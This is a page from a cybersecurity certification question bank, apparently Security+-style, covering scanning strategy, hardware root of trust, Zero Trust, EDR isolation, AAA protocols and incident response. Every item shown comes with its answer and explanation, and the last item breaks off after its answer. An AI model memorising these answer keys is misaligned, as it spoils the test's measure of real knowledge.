All practice questions

2232 questions

All types2,232 Multiple choice1,151 Multiple select509 Numeric21 Matching378 Ordering173

An enterprise security architecture team is updating its vulnerability assessment strategy across a diverse hybrid infrastructure. The environment comprises internal database servers, virtualized cloud workloads, and legacy operational technology (OT) controlling industrial processes. The team must maximize vulnerability discovery accuracy while adhering to strict operational availability constraints. Which of the following scanning strategies should the security team implement to satisfy these requirements? (Select TWO.)

Select all that apply

Deploy authenticated agent-based vulnerability scanners on internal server endpoints to identify missing local patches and configuration drift without generating heavy network traffic.

Utilize passive network traffic monitoring and non-intrusive asset discovery techniques across operational technology (OT) segments to evaluate vulnerabilities without interrupting control systems.

Implement inline web application firewalls on internal database segments as a full operational substitute for performing routine credentialed database vulnerability scans.

Schedule aggressive intrusive network vulnerability scans against operational technology controllers during high-volume production hours to guarantee immediate vulnerability identification.

Show answer & explanation

Answer: Deploy authenticated agent-based vulnerability scanners on internal server endpoints to identify missing local patches and configuration drift without generating heavy network traffic.; Utilize passive network traffic monitoring and non-intrusive asset discovery techniques across operational technology (OT) segments to evaluate vulnerabilities without interrupting control systems.

Answer

The security team should deploy authenticated agent-based vulnerability scanners on internal server endpoints and utilize passive network traffic monitoring on operational technology networks.

Authenticated agent-based scanning provides comprehensive insight into host-level patch management and security configurations without burdening internal networks with active network scanner traffic. Concurrently, using passive network monitoring in sensitive operational technology segments captures device and protocol vulnerability data safely without exposing critical control hardware to active probing risks.

Step-by-Step Solution

Determine the optimal scanning approach for standard enterprise host systems requiring low network impact.

Authenticated agent-based scanning provides maximum local visibility into missing patches and configuration issues with negligible network traffic.

Agents leverage local system credentials and execute directly on the host OS.

Determine the safe scanning methodology for highly sensitive industrial control systems (OT).

Passive network traffic analysis allows vulnerability and asset discovery without injecting probes that could crash OT devices.

Availability and system stability are critical priorities in operational technology environments.

Evaluate and reject invalid control substitutions and high-risk operational practices.

Reject substituting vulnerability scanning with WAFs and reject running intrusive scans against OT hardware.

Preventive inline firewalls do not inspect internal vulnerability states, and intrusive active scans induce downtime.

Key Concept

Differentiating between credentialed agent-based, non-credentialed network-based, and passive vulnerability scanning methods based on asset sensitivity and operational constraints.

Question 1162Question →

An agricultural engineering team is deploying autonomous field-monitoring drones that operate in remote, unmonitored locations. To protect the drone flight control systems against unauthorized firmware modifications and ensure hardware-isolated cryptographic key security, which of the following hardware security controls should the engineers implement? (Select TWO.)

Select all that apply

Secure Boot integrated with a hardware Root of Trust (RoT) to cryptographically verify bootloader signatures prior to execution.

A hardware-based Trusted Platform Module (TPM) to securely store encryption keys and perform hardware-isolated cryptographic operations.

Asymmetric RSA-4096 key pairs to encrypt high-throughput flight telemetry logs directly to onboard flash media.

Host-based software firewall rules to block unauthorized physical firmware flashing over serial JTAG debug interface pins.

Show answer & explanation

Answer: Secure Boot integrated with a hardware Root of Trust (RoT) to cryptographically verify bootloader signatures prior to execution.; A hardware-based Trusted Platform Module (TPM) to securely store encryption keys and perform hardware-isolated cryptographic operations.

Answer

The engineers should implement Secure Boot integrated with a hardware Root of Trust (RoT) and incorporate a Trusted Platform Module (TPM).

Implementing Secure Boot backed by a hardware Root of Trust guarantees bootloader and firmware integrity by verifying digital signatures before code execution. Additionally, using a Trusted Platform Module (TPM) isolates key generation, measurement, and key storage within tamper-resistant hardware cryptoprocessors.

Step-by-Step Solution

Evaluate boot integrity requirements against physical firmware tampering.

Secure Boot backed by an immutable hardware Root of Trust (RoT) ensures that only cryptographically signed, verified bootloaders and OS binaries execute during startup.

Prevents unauthorized or malicious firmware modifications from executing on the hardware.

Evaluate cryptographic key storage and hardware isolation requirements.

A Trusted Platform Module (TPM) or Secure Element acts as a tamper-resistant cryptoprocessor dedicated to generating and protecting cryptographic keys.

Protects keys from extraction even if the system storage is physically accessed.

Analyze distractor options for misapplied controls.

RSA asymmetric encryption is misapplied for bulk storage logging, and software firewalls cannot block physical hardware debug interfaces like JTAG.

Confirms the selection of hardware-level controls.

Key Concept

Hardware Root of Trust and TPM Cryptoprocessor Integration

Question 1163Question →

A security analyst is investigating several network and wireless security alerts recorded across an enterprise network. Match each observed technical attack indicator with its corresponding attack classification.

Click a left item, then click its matching right item

Show answer & explanation

Answer

RF Jamming matches high RF noise floor indicators; ARP Poisoning matches unsolicited ARP reply IP-to-MAC mappings; Bluejacking matches unsolicited Bluetooth messages; Evil Twin matches rogue APs broadcasting identical SSIDs with different BSSIDs.

Each technical indicator maps precisely to its corresponding attack vector based on network protocol behaviors and radio frequency characteristics.

Step-by-Step Solution

Analyze physical wireless spectrum indicators.

Identify that elevated noise floors causing frame retransmissions and signal degradation correspond to RF Jamming.

Jamming directly injects RF noise onto wireless frequencies to disrupt communication channels.

Analyze Ethernet layer address resolution protocol traffic.

Identify that unsolicited ARP responses redirecting IP mappings to a target MAC correspond to ARP Poisoning.

An attacker sends gratuitous ARP replies to poison neighbor cache entries for man-in-the-middle positioning.

Analyze short-range mobile wireless message alerts.

Identify that sending unsolicited messages over Bluetooth without unauthorized data exfiltration corresponds to Bluejacking.

Bluejacking exploits Bluetooth OBEX push protocols to deliver unwanted messages to discoverable devices.

Analyze wireless access point parameters.

Identify that a rogue access point mimicking a legitimate SSID with an altered BSSID corresponds to an Evil Twin attack.

Evil Twin setups clone legitimate wireless network profiles to lure users into connecting and revealing credentials.

Key Concept

Network and Wireless Attack Indicators

Question 1164Question →

A security team is updating enterprise host hardening standards to prevent unauthorized software execution and mitigate memory corruption exploits on administrative workstations. Which TWO host hardening controls should the security team implement to achieve these objectives?

Select all that apply

Enforce application control policies to restrict binary execution to approved paths and verified cryptographic signatures

Enable hardware-enforced Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)

Deploy a perimeter stateful firewall to automatically block incoming malicious HTTP and HTTPS traffic flows

Configure an inline production honeypot server to actively drop malicious endpoint binary execution payloads

Show answer & explanation

Answer: Enforce application control policies to restrict binary execution to approved paths and verified cryptographic signatures; Enable hardware-enforced Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)

Answer

The security team should enforce application control policies and enable Data Execution Prevention (DEP) along with Address Space Layout Randomization (ASLR).

Application control policies enforce allowlists that prevent unapproved or malicious software binaries from running on the host. Simultaneously, operating system memory protections such as Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) prevent malicious code execution in protected memory areas and obscure memory target addresses, mitigating memory corruption exploits.

Step-by-Step Solution

Identify the primary threat vectors presented in the scenario

The target threats are unauthorized binary execution and memory corruption exploits on host endpoints.

Hardening measures must directly align with the specific attack vectors identified.

Select the host mitigation technique for unauthorized software execution

Application control (allowlisting) ensures that only cryptographically signed or explicitly approved applications can launch.

This directly prevents untrusted scripts or malicious binaries from running.

Select the host mitigation technique for memory corruption vulnerabilities

Enabling DEP and ASLR prevents malicious shellcode execution in non-executable memory segments and complicates exploit payloads by obfuscating memory addresses.

These memory protection features harden operating system execution memory against buffer overflow attacks.

Key Concept

Host Hardening and Exploit Mitigations

Question 1165Question →

An enterprise organization is deploying Zero Trust Architecture (ZTA) across its cloud and on-premises infrastructure. Match each core Zero Trust principle on the left with its corresponding operational security mechanism on the right.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Explicit Verification corresponds to evaluating identity, location, device compliance, and context before granting access. Least Privilege Access corresponds to restricting rights using Just-In-Time and Just-Enough-Access models. Assume Breach corresponds to limiting lateral movement using microsegmentation and internal network encryption. Continuous Adaptive Monitoring corresponds to re-evaluating risk and adjusting access dynamically during active sessions.

Zero Trust Architecture principles establish explicit enforcement boundaries: Explicit Verification validates identity and posture upfront; Least Privilege Access applies JIT/JEA controls to restrict permission scope; Assume Breach utilizes microsegmentation and encryption to limit blast radius; and Continuous Adaptive Monitoring dynamically re-evaluates active session telemetry.

Step-by-Step Solution

Analyze Explicit Verification operational controls

Identify controls requiring multi-factor contextual validation (identity, device compliance, location) before granting access.

Explicit Verification mandates that no request is trusted implicitly based on network location alone.

Analyze Least Privilege Access operational controls

Identify controls utilizing JIT and JEA to restrict permissions.

Least privilege limits user capabilities to the bare minimum required for their immediate job role.

Analyze Assume Breach operational controls

Identify containment controls such as network microsegmentation and ubiquitous transport encryption.

Assuming an internal intruder requires architectural controls that prevent unimpeded lateral movement.

Analyze Continuous Adaptive Monitoring operational controls

Identify controls that inspect live telemetry to adjust active session risk scores dynamically.

Zero Trust treats trust as ephemeral, requiring continuous posture assessment throughout a session.

Key Concept

Core Zero Trust Architectural Principles and Tenets

Question 1166Question →

During security monitoring, an analyst detects unauthorized data exfiltration via DNS tunneling originating from an internal web application server. The incident response team validates the threat and confirms the incident response playbook needs to be executed immediately. According to standard incident response lifecycle frameworks, which of the following actions should the responder take FIRST during the containment phase?

Isolate the affected web server from the network while keeping it powered on.

Remove the malicious persistence scripts and restore system files from clean backups.

Reconfigure the edge firewall to block all inbound and outbound UDP port 53 traffic enterprise-wide.

Convene a post-incident review meeting with stakeholders to update the incident playbook.

Show answer & explanation

Answer: Isolate the affected web server from the network while keeping it powered on.

Answer

Isolate the affected web server from the network while keeping it powered on.

Isolating the affected host from the network immediately halts active data exfiltration via DNS tunneling while preserving volatile memory (RAM) needed for digital forensics. Following standard IR frameworks (such as NIST SP 800-61), containment must occur before eradication or recovery steps begin.

Step-by-Step Solution

Identify the current Incident Response lifecycle phase based on the scenario.

The scenario transitions from Detection & Analysis into Containment.

Once an active threat like data exfiltration is verified, the IR team must act quickly to limit the scope of impact.

Determine the primary objective of the Containment phase.

Halt active data exfiltration while preserving volatile system memory for forensic preservation.

Disconnecting network interfaces or applying VLAN segregation isolates the threat without destroying RAM artifacts.

Select the action that aligns with immediate containment requirements.

Isolating the specific affected host from the network while keeping power maintained is the correct initial action.

Actions like remediation, playbook reviews, or broad network disruptions belong to different phases or cause unintended operational failure.

Key Concept

Incident Response Lifecycle Containment Strategy

Question 1167Question →

During a threat hunting operation on a dual-homed critical enterprise jump server running Windows Server, a SOC analyst identifies suspicious memory-only reflective DLL injection into a legitimate system process. Telemetry shows the process initiating beaconing over an encrypted channel to an unknown external IP address while simultaneously maintaining active RPC session handles to adjacent internal database servers. Which of the following containment actions should the security analyst perform using the Endpoint Detection and Response (EDR) agent to stop lateral movement without losing volatile memory evidence or breaking analyst access?

Initiate host isolation via the EDR console to block non-security network traffic while maintaining the agent telemetry channel.

Reconfigure perimeter edge firewall rules to drop all traffic targeting the jump server and trigger an immediate remote system reboot.

Apply standard legacy antivirus signature updates and rely on perimeter network segment filters to prevent further unauthorized access.

Execute a global SOAR script to drop the jump server's entire VLAN at the core network switch level.

Show answer & explanation

Answer: Initiate host isolation via the EDR console to block non-security network traffic while maintaining the agent telemetry channel.

Answer

Initiate host isolation via the EDR console to block non-security network traffic while maintaining the agent telemetry channel.

The correct option correctly identifies the primary containment feature of EDR solutions: host isolation. EDR software agents manipulate kernel-level network filters to isolate the endpoint from all local and remote endpoints except for the designated EDR management console IPs. This halts external command-and-control (C2) beaconing and internal RPC-based lateral movement while keeping the system powered on so analysts can remotely capture volatile memory and inspect process lineage.

Step-by-Step Solution

Analyze the threat scenario and containment requirements.

Identified fileless memory-only malware attempting active lateral movement via RPC while beaconing out.

The system contains volatile evidence in RAM that must be preserved for forensic acquisition while immediately halting network communications.

Evaluate EDR network isolation capabilities against traditional network/system controls.

EDR host isolation applies software-defined filtering at the endpoint NDIS/kernel layer, severing peer-to-peer and outbound network channels.

This leaves the encrypted EDR agent management tunnel intact so responders can perform remote memory dumps and endpoint triage without physical host access or rebooting.

Select the optimal action adhering to incident response standards.

Enact endpoint isolation through the EDR console.

This stops C2 activity and internal lateral movement instantaneously while maintaining volatility preservation standards.

Key Concept

Endpoint Detection and Response (EDR) Host Isolation and Telemetry Preservation

Estimated Time:2m 0s

Question 1168Question →

A senior systems engineer is evaluating centralized administrative access controls for an organization's network infrastructure devices, including core switches and routers. Operational security requirements specify that the solution must encrypt the entire packet payload during transit, strictly separate authentication and authorization processes, and support per-command authorization auditing for administrative sessions. Which of the following protocols should the engineer implement to satisfy these operational requirements?

TACACS+

RADIUS

SAML 2.0

Kerberos

Show answer & explanation

Answer: TACACS+

Answer

TACACS+ is the correct protocol because it encrypts the entire packet payload, operates over TCP, and decouples authentication from authorization to allow per-command authorization and detailed command logging.

TACACS+ satisfies all listed criteria: it encrypts the full payload of every packet (unlike RADIUS, which only encrypts the user password), operates over reliable TCP (port 49), and separates authentication, authorization, and accounting. This architecture permits granular authorization of specific commands typed by network administrators and detailed command-level accounting logs.

Step-by-Step Solution

Analyze the operational requirements provided in the scenario

Identified key requirements: full packet payload encryption, decoupling of authentication and authorization, and per-command authorization auditing.

Evaluating protocol capabilities against exact operational specifications is required to choose the correct AAA implementation.

Compare AAA transport protocols (TACACS+ vs. RADIUS)

RADIUS encrypts only the password field and combines authentication with authorization into single packet flows. TACACS+ encrypts the entire packet payload and maintains separate processes for authentication, authorization, and accounting.

Distinguishing between RADIUS and TACACS+ architecture reveals which protocol satisfies command-level granular authorization and payload encryption.

Select the protocol that supports per-command CLI authorization auditing

TACACS+ allows administrators to validate and log individual commands issued during network device sessions.

TACACS+ explicitly supports command-level authorization filters required for secure network infrastructure operations.

Key Concept

Centralized AAA Protocol Operations (TACACS+ vs. RADIUS)

Question 1169Question →

A network security administrator investigates SIEM alerts after several workstation users report reaching an untrusted website when typing the domain name of an internal portal. Inspection of logs from the primary recursive DNS resolver reveals thousands of unsolicited UDP port $53$ response packets arriving within a fraction of a second. These responses contain forged IP address mappings for the internal portal domain and attempt to match outgoing query transaction IDs ( $TXIDs$ ) before the legitimate authoritative server replies. Which of the following network attacks is indicated by these log entries?

DNS cache poisoning

ARP cache poisoning

MAC flooding

VLAN hopping

Show answer & explanation

Answer: DNS cache poisoning

Answer

DNS cache poisoning

The correct answer is DNS cache poisoning. This attack occurs when an adversary sends a burst of spoofed DNS responses with randomized transaction IDs (TXIDs) to a recursive DNS resolver. If a forged response matches the TXID of an active outbound request before the legitimate authoritative server responds, the resolver caches the false IP address mapping and directs users to a malicious site.

Step-by-Step Solution

Analyze the observed log indicators and traffic behavior.

The logs demonstrate a high volume of unsolicited UDP port 53 responses targeting a recursive resolver to match query transaction IDs (TXIDs) and alter domain IP resolutions.

Attackers perform brute-force transaction ID matching to inject malicious DNS resource records into a resolver's cache before the legitimate authoritative DNS server responds.

Correlate the technical indicators with specific network attack definitions.

Corrupting domain-name-to-IP-address resolution entries stored in a caching DNS server is the defining characteristic of DNS cache poisoning.

This redirection allows attackers to divert user traffic from legitimate domain destinations to malicious IP addresses without modifying client system host files.

Key Concept

DNS Cache Poisoning Indicators

Question 1170Question →

A security analyst is reviewing authentication and session logs from an enterprise Identity Provider (IdP) following a suspected compromise of a cloud-hosted infrastructure management console. The investigation reveals the following log snippet:

[2026-07-27T14:02:11Z] AUTH_SUCCESS [email protected] AuthMethod=FIDO2_HardwareKey SourceIP=192.168.10.45 Location=Corp_HQ_HQ1
[2026-07-27T14:02:14Z] SESSION_ISSUED [email protected] OAuthTokenID=tk-998231 Scope=CloudAdmin_FullAccess
[2026-07-27T14:02:40Z] API_CALL [email protected] OAuthTokenID=tk-998231 SourceIP=198.51.100.77 Location=External_Unknown Endpoint=/api/v1/iam/roles/delete
[2026-07-27T14:02:45Z] API_CALL [email protected] OAuthTokenID=tk-998231 SourceIP=198.51.100.77 Location=External_Unknown Endpoint=/api/v1/storage/exportAll

Further physical access logs confirm User j.doe was continuously present at Corporate HQ during this timeframe. Which of the following identity operational vulnerabilities MOST likely enabled this unauthorized access? (Select TWO.)

Select all that apply

Absence of continuous access evaluation (CAE) or token binding allowing a stolen OAuth bearer token to be replayed from an external source IP address

Failure to enforce location-aware risk policies that trigger step-up MFA or session revocation when anomalous client network context is detected

A failure in the role-based authorization policy that allowed the identity provider to grant excessive entitlement scopes during initial authentication

Incorrect classification of the perimeter firewall log collection system as a corrective security control rather than a detective monitoring control

Show answer & explanation

Answer: Absence of continuous access evaluation (CAE) or token binding allowing a stolen OAuth bearer token to be replayed from an external source IP address; Failure to enforce location-aware risk policies that trigger step-up MFA or session revocation when anomalous client network context is detected

Answer

The compromise was enabled by the lack of continuous access evaluation (or sender-constrained token binding) allowing token replay, alongside missing location-aware risk policies to enforce step-up MFA upon context shift.

The scenario highlights session hijacking/token theft where a legitimate token generated during hardware key authentication at HQ was executed from an unknown external IP address. The two primary identity operation breakdowns are: 1) Using unconstrained bearer tokens without Continuous Access Evaluation (CAE) to bind sessions to device/network posture, and 2) Lacking adaptive, location-aware risk rules that automatically flag impossible travel or demand step-up MFA when session origin changes abruptly.

Step-by-Step Solution

Analyze the authentication and API activity timestamps and attributes

The user authenticated successfully at HQ using a FIDO2 hardware key, but 26 seconds later, the resulting OAuth session token was utilized from an external IP address (198.51.100.77).

This discrepancy indicates a session token theft/replay attack or adversary-in-the-middle (AiTM) proxy interception.

Identify session validation operational controls needed to mitigate token replay

Without Continuous Access Evaluation (CAE) or sender-constrained token mechanisms (such as DPoP/mTLS), bearer tokens can be used from any device regardless of network origin change.

Standard bearer tokens do not validate client network posture dynamically after initial issuance.

Evaluate risk-based authentication triggers

The Identity Provider failed to detect impossible travel / network context shifts or mandate step-up MFA/re-authentication when an external IP attempted administrative API calls.

Modern IAM operations require adaptive access control policies that dynamically assess real-time risk metrics.

Key Concept

Session Token Binding & Adaptive Risk-Based Access Control

Question 1171Question →

An enterprise administrator configures a server with a RAID 5 disk array to ensure continuous availability in the event of a storage drive failure. Following a ransomware incident that encrypted all files on the volume, the administrator replaces one of the physical hard drives with a new spare disk, expecting the rebuild process to recover the original unencrypted files. Which of the following best explains why this recovery strategy failed?

RAID provides fault tolerance against hardware failure, but write operations—including file encryption—are immediately calculated across the array, preserving corrupt states.

RAID arrays operate as detective controls that require manual snapshot restoration before drive rebuilds can restore previous data states.

RAID 5 arrays only preserve data integrity when combined with a Recovery Time Objective (RTO) configuration of zero.

RAID hardware parity mechanisms replace cold backup strategies only when deployed in active-passive dual-datacenter configurations.

Show answer & explanation

Answer: RAID provides fault tolerance against hardware failure, but write operations—including file encryption—are immediately calculated across the array, preserving corrupt states.

Answer

RAID provides fault tolerance against hardware failure, but write operations—including file encryption—are immediately calculated across the array, preserving corrupt states.

Redundancy mechanisms like RAID 5 are designed to provide fault tolerance against physical hardware failure by spreading data and parity across multiple disks. However, RAID operates at the storage level and processes all write operations immediately. When ransomware encrypts files, those changes are parity-encoded across the array. Rebuilding a drive merely recalculates the existing array state, which includes the encrypted data, demonstrating that fault tolerance is not a replacement for independent point-in-time backups.

Step-by-Step Solution

Analyze the technology implemented in the scenario.

The server uses RAID 5 for storage fault tolerance.

RAID 5 uses block-level striping with distributed parity to sustain a single physical disk failure without losing access to volume data.

Evaluate the nature of the data loss incident.

Ransomware maliciously modified (encrypted) the logical file contents.

Encryption is a logical file system operation, not a physical hardware failure.

Differentiate between redundancy/fault tolerance and backup/recovery controls.

Replacing a disk rebuilds missing parity/data blocks based on current (encrypted) disk contents.

Redundancy ensures system availability during hardware failures but immediately processes and replicates logical data changes, requiring separate offline backups for point-in-time recovery.

Key Concept

Distinction between Fault Tolerance/Redundancy (RAID) and Data Backups

Question 1172Question →

During an active security incident on an enterprise application server, logs indicate an unauthorized process attempting to extract LSASS memory contents. The incident response team must immediately stop potential lateral movement across the internal domain while keeping an active channel open to capture volatile RAM and run diagnostic commands. Which capability of an Endpoint Detection and Response (EDR) platform best meets these requirements?

Initiating agent-based network host isolation to restrict endpoint traffic while maintaining security console communications

Updating perimeter firewall access control lists to block incoming connections to the server's public IP address

Issuing a remote power cycle command to reboot the server and wipe the malicious process space

Deploying an updated signature definition file to legacy antivirus software to quarantine the payload

Show answer & explanation

Answer: Initiating agent-based network host isolation to restrict endpoint traffic while maintaining security console communications

Answer

Initiating agent-based network host isolation to restrict endpoint traffic while maintaining security console communications

Agent-based host network isolation enforced by an EDR platform blocks non-essential inbound and outbound host traffic at the endpoint network layer. This stops an attacker from moving laterally across the domain, while preserving the secure control channel between the EDR agent and the central management server so security teams can capture volatile RAM and execute remediation commands.

Step-by-Step Solution

Analyze incident requirements and constraints

The solution must isolate internal network communications (to prevent lateral movement) without destroying volatile RAM or losing remote management access.

Maintaining telemetry and remote access is necessary for forensic analysis and containment.

Compare available host containment controls

Agent-based network isolation disconnects local network adapters from general traffic while preserving the EDR agent's encrypted management channel to the SOC console.

This contains the threat laterally while enabling volatile memory collection and remote command execution.

Key Concept

EDR Host Isolation and Behavioral Containment

Question 1173Question →

A digital forensics specialist receives a sealed evidence bag containing a seized hard drive from a field investigator for intake into the forensic laboratory. Which of the following actions should the specialist perform first to maintain the chain of custody?

Inspect the tamper-evident container, verify the serial numbers against the transfer documentation, and sign the custody log.

Connect the drive directly to an analysis workstation to verify the file system structure before logging receipt.

Generate a cryptographic hash of the drive contents to establish non-repudiation of the field investigator's identity.

Create a bit-stream disk image directly onto the original evidence drive to preserve the master boot record.

Show answer & explanation

Answer: Inspect the tamper-evident container, verify the serial numbers against the transfer documentation, and sign the custody log.

Answer

The specialist should inspect the tamper-evident container, verify serial numbers against transfer documentation, and sign the custody log.

Maintaining proper chain of custody requires documenting every physical transfer of evidence immediately upon receipt. Verifying tamper-evident seals and matching serial numbers against custody forms before signing ensures uninterrupted accountability and legal admissibility.

Step-by-Step Solution

Examine physical evidence packaging upon receipt

Assures the evidence bag and tamper seals have remained intact since seizure.

Physical integrity of packaging proves evidence was not altered in transit.

Reconcile item identification numbers with the chain of custody form

Confirms the exact physical evidence handed over matches official records.

Mismatched serial numbers undermine legal admissibility in court.

Record timestamp, relinquishing party, receiving party, and signature on the custody log

Establishes unbroken accountability for physical possession.

Chain of custody requires an uninterrupted chronological record of custody.

Key Concept

Chain of Custody Intake and Evidence Handling

Estimated Time:1m 0s

Question 1174Question →

An enterprise administrator requires short-term elevated permissions to perform maintenance on a critical domain controller. Rather than assigning a permanent administrative account, the security operations team uses a Privileged Access Management (PAM) solution that temporarily grants rights and automatically revokes them when the maintenance window expires. Which of the following identity and access management operational concepts is best demonstrated in this scenario?

Just-In-Time (JIT) access elevation

Perimeter-based implicit trust authorization

Static discretionary access control delegation

Detective credential harvesting log analysis

Show answer & explanation

Answer: Just-In-Time (JIT) access elevation

Answer

Just-In-Time (JIT) access elevation

Just-In-Time (JIT) access elevation provides temporary administrative privileges only when needed for a specific task, reducing standing privileges and mitigating account compromise risk.

Step-by-Step Solution

Analyze the operational access requirement in the scenario

The administrator requires temporary elevated permissions exclusively for an emergency maintenance window.

Persistent administrative access creates unnecessary attack surface and risk.

Identify the PAM privilege management mechanism applied

The PAM system provisions temporary elevated rights and revokes them automatically after maintenance.

Dynamic, time-bound privilege assignment corresponds directly to Just-In-Time (JIT) access control.

Key Concept

Privileged Access Management (PAM) and Just-In-Time (JIT) Provisioning

Question 1175Question →

A security analyst is investigating an authentication alert involving an enterprise user account. Log analysis indicates that the account completed a successful multi-factor authentication (MFA) login from a corporate desktop in Chicago. Less than ten minutes later, authentication logs show successful access to cloud resources using the same account credentials via legacy POP3/IMAP protocols from an unmanaged external IP address, bypassing MFA prompts. Which of the following operational actions should the analyst take to contain the immediate risk and prevent future occurrences of this issue? (Select TWO.)

Select all that apply

Revoke all active refresh tokens and terminate existing active sessions for the compromised user account

Disable legacy authentication protocols within the enterprise identity provider conditional access policies

Add the external IP address range to the identity provider's trusted location whitelist to suppress alerts

Modify the user's role-based authorization privileges to read-only status in the active directory domain

Show answer & explanation

Answer: Revoke all active refresh tokens and terminate existing active sessions for the compromised user account; Disable legacy authentication protocols within the enterprise identity provider conditional access policies

Answer

The analyst should immediately revoke all active refresh tokens and terminate active sessions for the user account, and disable legacy authentication protocols within the identity provider policies.

Revoking active sessions cuts off existing unauthorized access from token reuse, while disabling legacy authentication protocols prevents attackers from bypassing multi-factor authentication mechanisms via protocol downgrade vectors.

Step-by-Step Solution

Identify the authentication gap from event logs

Determined that legacy protocols enabled an MFA bypass from an external location following a valid login.

Legacy mail protocols cannot perform interactive multi-factor authentication challenges.

Execute immediate account containment

Existing sessions and refresh tokens for the affected user are revoked.

Invalidating active session tokens prevents unauthorized reuse of compromised session states.

Implement identity policy remediation

Legacy authentication mechanisms are disabled enterprise-wide.

Ensures all incoming identity requests pass through modern authentication channels enforced by multi-factor checks.

Key Concept

Legacy Authentication Mitigation and Session Invalidation

Question 1176Question →

During a security audit, a vulnerability analyst configures an authenticated network-based vulnerability scanner to audit a subnet of Linux application servers using an SSH service account. The resulting report indicates zero critical or high vulnerabilities across all hosts. However, a concurrent local agent-based scan on the same servers flags several high-severity vulnerabilities associated with missing kernel patches and outdated system libraries. Which of the following best explains why the authenticated network scan failed to detect these vulnerabilities?

The SSH service account lacked root or elevated permissions, preventing the network scanner from querying package managers and inspecting restricted system directories.

Network-based vulnerability scanners rely exclusively on passive traffic monitoring and cannot perform authenticated version verification on active remote hosts.

The network scanner misidentified the missing operating system library dependencies as unexploitable Cross-Site Scripting (XSS) vulnerabilities.

Host-based firewalls on the Linux servers automatically mitigated the internal software vulnerabilities by blocking inbound SSH connection attempts.

Show answer & explanation

Answer: The SSH service account lacked root or elevated permissions, preventing the network scanner from querying package managers and inspecting restricted system directories.

Answer

The SSH service account lacked root or elevated permissions, preventing the network scanner from querying package managers and inspecting restricted system directories.

For an authenticated network scan to conduct an accurate patch and vulnerability audit, the scanner must log in using an account with sufficient privileges (such as root or a user with elevated sudo rights). If a low-privileged account is used, the scanner cannot access system package logs, query internal package managers, or inspect restricted system binaries, causing it to miss local software flaws that full-privilege local agents easily detect.

Step-by-Step Solution

Analyze the scanning context and discrepancy

An authenticated network scan reported no missing high/critical vulnerabilities, while a local agent identified missing kernel patches and library flaws.

Both scan types examine host configuration, but their depth depends on execution privilege and access context.

Evaluate the credential requirements for authenticated network scanning

Network vulnerability scanners connecting via SSH require administrative (root or sudo) privileges to execute local commands, inspect restricted files, and query package managers (e.g., rpm, dpkg).

If the service account used by the scanner lacks sufficient privileges, the scan degrades to basic banner grabbing or limited file checks, failing to discover local software flaws.

Compare against local agent privileges

Local security agents typically execute with root/SYSTEM service rights, granting them full visibility into installed software packages regardless of network access accounts.

Insufficient account permissions on remote authenticated scans explain why local agents report vulnerabilities that network scanners miss.

Key Concept

Credentialed vs. Agent-Based Scanning Privileges

Question 1177Question →

A medical device company is designing a connected infusion pump deployed in hospital environments. To protect against malicious firmware modifications and unauthorized code execution during startup, the device must verify the signature of the boot loader using a cryptographic key burned into immutable hardware during manufacturing. Which hardware-based security control establishes this initial unalterable anchor for cryptographic boot chain verification?

Hardware Root of Trust

Network Intrusion Prevention System

Baseboard Management Controller

Symmetric Bulk Key Store

Show answer & explanation

Answer: Hardware Root of Trust

Answer

Hardware Root of Trust provides the unalterable hardware anchor required to verify digital signatures during the boot process.

The Hardware Root of Trust is an inherently trusted hardware component (such as immutable ROM or write-once eFuses) that holds the cryptographic key or hash used to initiate the secure boot process. Because it cannot be altered by software or firmware updates, it serves as the ultimate anchor of trust for verifying subsequent stages of execution.

Step-by-Step Solution

Analyze the scenario requirements

The requirement calls for a hardware-anchored, immutable cryptographic validation mechanism to prevent unauthorized firmware execution during device boot.

Embedded security relies on hardware primitives to establish trust before software executes.

Evaluate hardware security mechanisms

A Hardware Root of Trust uses read-only memory (ROM) or electronic fuses (eFuses) configured at manufacturing to store public keys or hash measurements safely.

Because this memory cannot be modified by software, it forms the trusted baseline for secure boot validation.

Select the matching control

Hardware Root of Trust correctly fulfills the requirement.

It ensures that boot integrity validation originates from an unalterable hardware component.

Key Concept

Hardware Root of Trust and Secure Boot Validation

Question 1178Question →

A security technician is investigating an access issue where a newly transferred employee successfully signs into the corporate network using valid credentials, but is subsequently able to view restricted financial files reserved for executive roles. The technician incorrectly believed that validating the employee's login identity automatically granted permission to access all files on the file server. Which of the following operational concepts did the technician confuse?

Authentication vs. authorization

Perimeter network trust vs. microsegmentation

Preventive security controls vs. detective security controls

Credential harvesting detection vs. impossible travel alerts

Show answer & explanation

Answer: Authentication vs. authorization

Answer

Authentication vs. authorization

Authentication is the operational process of proving an identity (e.g., supplying a valid username, password, or MFA token). Authorization is the process of evaluating access control lists or policies to determine what actions or data that authenticated identity is allowed to access. Assuming that successful identity verification grants access to confidential files confuses authentication with authorization.

Step-by-Step Solution

Analyze the access incident described in the scenario.

The employee successfully verified their login identity, but was granted access to file resources beyond their scope of work.

Understanding the distinction between login verification and permission assignment is necessary to identify the administrative error.

Define the roles of authentication and authorization within Identity and Access Management operations.

Authentication confirms identity (who the user is), while authorization enforces permissions (what resources the user can access).

Valid login credentials prove identity during authentication, but authorization access rules dictate resource entitlements.

Match the technician's assumption to the correct concept pair.

The technician assumed identity verification automatically implies full resource permissions, confusing authentication with authorization.

Believing a valid login grants blanket file system access demonstrates a failure to differentiate authentication from authorization.

Key Concept

Distinction between Authentication and Authorization in IAM Operations

Estimated Time:45s

Question 1179Question →

An enterprise Security Operations Center (SOC) analyst receives an advanced Endpoint Detection and Response (EDR) behavioral alert indicating process hollowing on a critical database server. Telemetry reveals a legitimate system binary was spawned in a suspended state, injected with code, and resumed to establish an encrypted outbound channel. Which of the following actions should the analyst perform directly through the EDR platform to manage this incident while preserving evidentiary integrity? (Select TWO.)

Select all that apply

Apply host-level network isolation through the EDR agent while maintaining the platform's control channel.

Update edge perimeter firewall rules to block external network traffic destined for the malicious IP address.

Initiate a volatile memory capture via the EDR agent before terminating the hollowed process.

Issue a remote command to immediately reboot the host into Safe Mode to purge active malicious memory structures.

Show answer & explanation

Answer: Apply host-level network isolation through the EDR agent while maintaining the platform's control channel.; Initiate a volatile memory capture via the EDR agent before terminating the hollowed process.

Answer

The analyst should isolate the host using host-level network isolation via the EDR agent and capture volatile memory before terminating the hollowed process.

